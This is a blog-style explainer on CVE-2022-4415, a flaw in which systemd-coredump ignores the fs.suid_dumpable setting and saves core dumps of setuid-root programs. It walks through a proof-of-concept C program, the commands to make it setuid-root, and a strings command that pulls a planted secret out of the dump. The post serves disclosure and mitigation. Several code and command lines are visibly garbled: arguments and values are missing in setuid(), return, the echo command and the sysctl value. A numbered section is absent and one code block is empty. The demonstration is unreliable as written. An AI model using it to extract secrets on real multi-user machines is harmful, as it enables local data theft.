CVE-2022-4415 - How a systemd-coredump Glitch Leaks Sensitive Information on Linux

In late 2022, security researchers found a flaw in systemd—a core component of most modern Linux distributions. Tracked as CVE-2022-4415, this bug stems from how systemd-coredump ignores a critical Linux setting, opening the door for local users to read sensitive memory contents that ought to be protected.

This post breaks down the vulnerability in simple terms, shows example code, and links to the original disclosure so you can learn more. Let’s get started.

1. What is systemd-coredump?

systemd-coredump is a utility in systemd responsible for processing and storing core dumps when a program crashes. On Linux, this usually means a process has accessed invalid memory, and the kernel writes out the contents of its memory for debugging.

By default, the kernel decides whether or not to allow the creation of core dumps from setuid/setgid programs by checking the value of the /proc/sys/fs/suid_dumpable parameter. This is to prevent leaking potentially sensitive information—like passwords or secret keys—that such privileged programs might be handling.

2. Where’s the vulnerability? (TL;DR)

The crux of CVE-2022-4415 is that systemd-coredump does not honor the fs.suid_dumpable setting. That means, even if your system is configured to not dump the memory of privileged programs (the secure default), systemd-coredump will still save those core files.

For a local attacker, this creates a window to access sensitive in-memory data from privileged processes—data they shouldn’t be able to see.

!Diagram: fs.suid_dumpable being bypassed by systemd-coredump
*Insecure design: systemd-coredump fails to follow kernel decision about dumping privileged process memory.*

3. Exploiting CVE-2022-4415 in Practice

You can test if your system is vulnerable with a few simple steps. Imagine you have a setuid-root binary (/usr/bin/some-suid-app). Here’s a code sample that demonstrates the issue:

// save as leak.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main() {
    setuid(); // simulate running as root
    char secret[] = "VerySecretPassword123";
    printf("I am going to crash now!\n");
    abort(); // trigger a core dump
    return ;
}

Make it setuid-root

gcc -o leak leak.c
sudo chown root:root leak
sudo chmod u+s leak

Configure your system securely (no core dumps for setuid programs)

echo  | sudo tee /proc/sys/fs/suid_dumpable

Run the binary

./leak
# It will crash.

What should happen

No core dump should be created, as per the kernel setting (fs.suid_dumpable = ).

What happens with vulnerable systemd

A core dump is still saved by systemd-coredump, usually in /var/lib/systemd/coredump/ or similar location, containing the in-memory secret. If an attacker can read this dump, secret info can be exfiltrated.

To check

sudo strings /var/lib/systemd/coredump/core.leak.*
# Should display 'VerySecretPassword123'

Limited to LOCAL attacks: You need access to the machine.

- Dangerous on multi-user systems: For shared servers, university labs, web hosts—this is dangerous.
- Sensitive data at risk: Passwords, encryption keys, or other secrets in setuid-root programs’ memory could be leaked.

5. How do I fix or mitigate this?

- Update systemd: This bug is fixed in systemd 252.6 and newer (see systemd commit).

`

Or, switch to the kernel’s default core dumping using old-style /proc/sys/kernel/core_pattern handlers.

Relevant links

- Official systemd commit fixing CVE-2022-4415
- Red Hat security advisory
- OSS Security List Discussion

6. Conclusion

CVE-2022-4415 is a classic example of how even secure defaults can be undone if all layers don’t respect them. When systemd-coredump ignored the kernel’s wishes on dumping setuid binaries’ memory, it created a local info leak that could be used against any multi-user system.

If you haven’t updated your systemd, do so now. Otherwise, sensitive secrets handled by privileged programs might be just a crash away from being exposed.


*Stay safe, and keep your Linux systems up-to-date!*

Timeline

Published on: 01/11/2023 15:15:00 UTC
Last modified on: 02/02/2023 16:19:00 UTC